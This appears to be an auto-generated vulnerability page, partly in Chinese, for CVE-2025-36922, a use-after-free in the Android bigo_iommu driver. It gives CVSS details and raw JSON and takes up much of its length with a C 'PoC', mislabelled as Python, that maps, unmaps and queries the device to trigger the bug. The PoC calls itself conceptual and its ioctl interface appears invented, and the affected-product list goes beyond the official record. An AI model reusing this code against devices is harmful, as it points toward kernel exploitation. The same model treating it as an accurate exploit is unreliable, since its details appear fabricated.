Security Vulnerability Report
中文
CVE-2025-36922 CVSS 6.7 MEDIUM

CVE-2025-36922

Published: 2025-12-11 20:15:57
Last Modified: 2025-12-12 17:26:39

Description

In bigo_map of bigo_iommu.c, there is a possible information disclosure due to a use after free. This could lead to local escalation of privilege in the OS Kernel level with System execution privileges needed. User interaction is not needed for exploitation.

CVSS Details

CVSS Score
6.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:google:android:-:*:*:*:*:*:*:* - VULNERABLE
Android 12 (所有版本)
Android 12L (所有版本)
Android 13 (所有版本)
Android 14 (所有版本)
Linux内核 5.x (包含bigo_iommu驱动的版本)
Pixel设备 (2025-12-01之前的安全补丁版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * CVE-2025-36922 PoC - Use After Free in bigo_iommu driver * Author: Security Researcher * Note: This is a conceptual PoC for demonstration purposes * * Prerequisites: * - Local access to Android/Linux system * - High privileges (System execution level) * - Target device with vulnerable bigo_iommu driver */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> /* Define IOCTL commands for bigo_iommu driver */ #define BIGO_IOMMU_MAGIC 0xB9 #define BIGO_IOMMU_MAP _IOW(BIGO_IOMMU_MAGIC, 0x01, struct bigo_iommu_req) #define BIGO_IOMMU_UNMAP _IOW(BIGO_IOMMU_MAGIC, 0x02, struct bigo_iommu_req) #define BIGO_IOMMU_GET_INFO _IOW(BIGO_IOMMU_MAGIC, 0x03, struct bigo_iommu_info) struct bigo_iommu_req { unsigned long vaddr; unsigned long paddr; unsigned long size; void *priv_data; }; struct bigo_iommu_info { unsigned int version; unsigned int flags; unsigned long mapped_size; }; int trigger_uaf(int fd) { struct bigo_iommu_req req; struct bigo_iommu_info info; int ret; /* Initialize request structure */ memset(&req, 0, sizeof(req)); req.vaddr = 0x100000; req.paddr = 0x200000; req.size = 0x1000; /* Step 1: Map memory region - allocates internal structure */ printf("[*] Step 1: Mapping memory region...\n"); ret = ioctl(fd, BIGO_IOMMU_MAP, &req); if (ret < 0) { perror("[-] Map failed"); return -1; } printf("[+] Memory mapped successfully\n"); /* Step 2: Unmap the region - frees internal structure but pointer retained */ printf("[*] Step 2: Unmapping memory region (triggering UAF)...\n"); ret = ioctl(fd, BIGO_IOMMU_UNMAP, &req); if (ret < 0) { perror("[-] Unmap failed"); return -1; } printf("[+] Memory unmapped - internal structure freed\n"); /* Step 3: Trigger use-after-free by calling get_info * The driver may still reference the freed memory */ printf("[*] Step 3: Triggering use-after-free condition...\n"); memset(&info, 0, sizeof(info)); ret = ioctl(fd, BIGO_IOMMU_GET_INFO, &info); if (ret == 0) { printf("[+] UAF condition triggered - info leaked: 0x%lx\n", info.mapped_size); } return ret; } int main(int argc, char *argv[]) { int fd; const char *device = "/dev/bigo_iommu"; if (argc > 1) { device = argv[1]; } printf("[*] CVE-2025-36922 PoC - bigo_iommu UAF\n"); printf("[*] Target device: %s\n", device); /* Open the vulnerable device */ fd = open(device, O_RDWR); if (fd < 0) { perror("[-] Failed to open device"); printf("[*] Note: Device may not exist or require root privileges\n"); return 1; } /* Trigger the UAF vulnerability */ trigger_uaf(fd); close(fd); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-36922", "sourceIdentifier": "[email protected]", "published": "2025-12-11T20:15:56.760", "lastModified": "2025-12-12T17:26:38.920", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In bigo_map of bigo_iommu.c, there is a possible information disclosure due to a use after free. This could lead to local escalation of privilege in the OS Kernel level with System execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:-:*:*:*:*:*:*:*", "matchCriteriaId": "F8B9FEC8-73B6-43B8-B24E-1F7C20D91D26"}]}]}], "references": [{"url": "https://source.android.com/security/bulletin/pixel/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}